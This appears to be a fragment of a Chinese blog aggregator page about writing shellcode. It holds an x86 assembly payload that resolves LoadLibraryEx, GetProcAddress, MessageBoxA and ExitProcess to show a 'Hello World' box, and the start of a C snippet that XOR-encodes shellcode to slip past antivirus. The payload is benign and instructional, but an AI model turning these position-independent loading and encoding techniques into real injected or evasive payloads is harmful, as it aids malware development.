    retn 0x08

    //
    //函数:有效载荷部分,返回值为NULL
    //

    fun_Payload://(int Kernel32_Base,int LoadLibraryExW,int GetProcAddress,int BaseAddr)

    PUSH EBP
    MOV EBP,ESP
    SUB ESP,0x08
    MOV EBX,[EBP+0x14]       // PARAM_4(BaseAddr)
    // 1.获取MessageBoxA的地址
    LEA ECX,[EBX-0x34]       // User32.dll
    PUSH 0     // dwFlags=0
    PUSH 0     // hFile =0
    PUSH ECX     // lpLibFileName =User32.dll
    CALL [EBP+0X0C]     // LoadLibraryExA()
    LEA ECX,[EBX-0X29]     // MessageBoxA
    PUSH ECX     // lpProcName=MessageBoxA
    PUSH EAX     // hMoudule =User32.dll基址
    CALL [EBP+0X10]     // GetProcAddress()
    MOV [EBP-0X04],EAX 
    // 2.获取ExitProcess的函数地址
    LEA ECX,[EBX-0X1D] // ExitProcess
    PUSH ECX // lpProcName=ExitProcess
    PUSH [EBP+0X08] // hModule =Kernel32.dll
    CALL [EBP+0X10] // GetProcAddress()
    MOV [EBP-0X08],EAX
    // 3.显示helloworld
    LEA ECX,[EBX-0X11]  // Hello World
    PUSH 0  // uType
    PUSH ECX  // lpCaption
    PUSH ECX  // lpText
    PUSH 0  // hWnd
    CALL [EBP-0X04]  // MessageBoxA()
    PUSH 0  // uExitCode=0
    CALL [EBP-0X08]  // ExitProcess()
    MOV ESP,EBP 
    POP EBP 
    RETN 0X10 
    }

    }

    转载于:https://www.cnblogs.com/ltyandy/p/11343855.html

    展开全文
  • #define KEY 0x97 //进行异或的字符unsigned char buf[] = "shellcode"; int main(int argc, char* argv[]){ unsigned char c[sizeof(buf)]; //获取shellcode长度 for (int i = 0; i < sizeof(buf)-1; i++) { ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 4,378
精华内容 1,751
关键字:

shellcode